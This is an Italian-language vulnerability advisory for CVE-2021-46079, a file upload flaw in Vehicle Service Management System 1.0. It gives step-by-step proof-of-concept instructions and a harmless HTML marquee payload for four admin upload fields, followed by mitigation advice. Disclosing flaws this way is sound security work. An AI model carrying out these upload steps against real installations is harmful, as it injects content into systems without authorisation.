CVE-2021-46079
Titolo dell'exploit: Vehicle Service Management System - 'Multiple' File upload Leads to Html Injection
Autore dell'exploit: SANU P.L
CVE: CVE-2021-46079
CVSS: 7.2 HIGH
Riferimenti:
Descrizione:
Una vulnerabilità di caricamento file senza restrizioni (Unrestricted File Upload) è presente in Sourcecodester Vehicle Service Management System 1.0. Un attaccante remoto può caricare file malevoli che conducono a Html Injection.
1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)
Exploit:
- Effettuare il login al pannello di amministrazione http://localhost/vehicle_service/admin
- Andare alla sezione My Account http://localhost/vehicle_service/admin/?page=user
Payload:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- Salvare il codice html precedente, ad esempio: Html Injection.html
- Nella sezione My Account inserire tutti i dettagli richiesti e selezionare il file html nel campo Avatar.
- Fare clic sul pulsante Update.
- Aprire l'immagine dell'avatar in una nuova scheda.
- L'Html Injection viene eseguita.
2. Vehicle Service Management System - 'User List' (/admin/?page=user/manage_user)
Exploit:
- Effettuare il login al pannello di amministrazione http://localhost/vehicle_service/admin
- Andare alla sezione User List e fare clic sul pulsante Create New.
Payload:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- Salvare il codice html precedente, ad esempio: Html Injection.html
- Nella pagina Create New User inserire tutti i dettagli richiesti e selezionare il file html nel campo Avatar.
- Fare clic sul pulsante Save.
- Aprire l'immagine dell'avatar in una nuova scheda.
- L'Html Injection viene eseguita.
3. Vehicle Service Management System - 'Settings-System Logo' (/admin/?page=system_info)
Payload:
- Effettuare il login al pannello di amministrazione http://localhost/vehicle_service/admin
- Andare alla sezione Settings http://localhost/vehicle_service/admin/?page=system_info
Payload:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- Salvare il codice html precedente, ad esempio: Html Injection.html
- Nella sezione Settings inserire tutti i dettagli richiesti e selezionare il file html nel campo System Logo.
- Fare clic sul pulsante Update.
- Aprire l'immagine del System Logo in una nuova scheda.
- L'Html Injection viene eseguita.
4. Vehicle Service Management System - 'Settings-Website Cover' (/admin/?page=system_info)
Exploit:
- Effettuare il login al pannello di amministrazione http://localhost/vehicle_service/admin
- Andare alla sezione Settings http://localhost/vehicle_service/admin/?page=system_info
Payload:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- Salvare il codice html precedente, ad esempio: Html Injection.html
- Nella sezione Settings inserire tutti i dettagli richiesti e selezionare il file html nel campo Website Cover.
- Fare clic sul pulsante Update.
- Aprire l'immagine della Website Cover in una nuova scheda.
- L'Html Injection viene eseguita.
Impatto:
Un attaccante può caricare file malevoli su più endpoint e questo porta a Html Injection.
Mitigazione:
Si raccomanda di implementare quanto segue:
- Non accettare mai un nome file e la sua estensione direttamente senza un filtro white-list.
- Se non è necessario avere caratteri Unicode, si consiglia vivamente di accettare solo caratteri alfanumerici e un solo punto come input per il nome file e l'estensione.
- Limitare la dimensione del file a un valore massimo per prevenire attacchi denial of service.
- La directory di upload non deve avere alcun permesso "execute".
- Non affidarsi solo alla validazione lato client.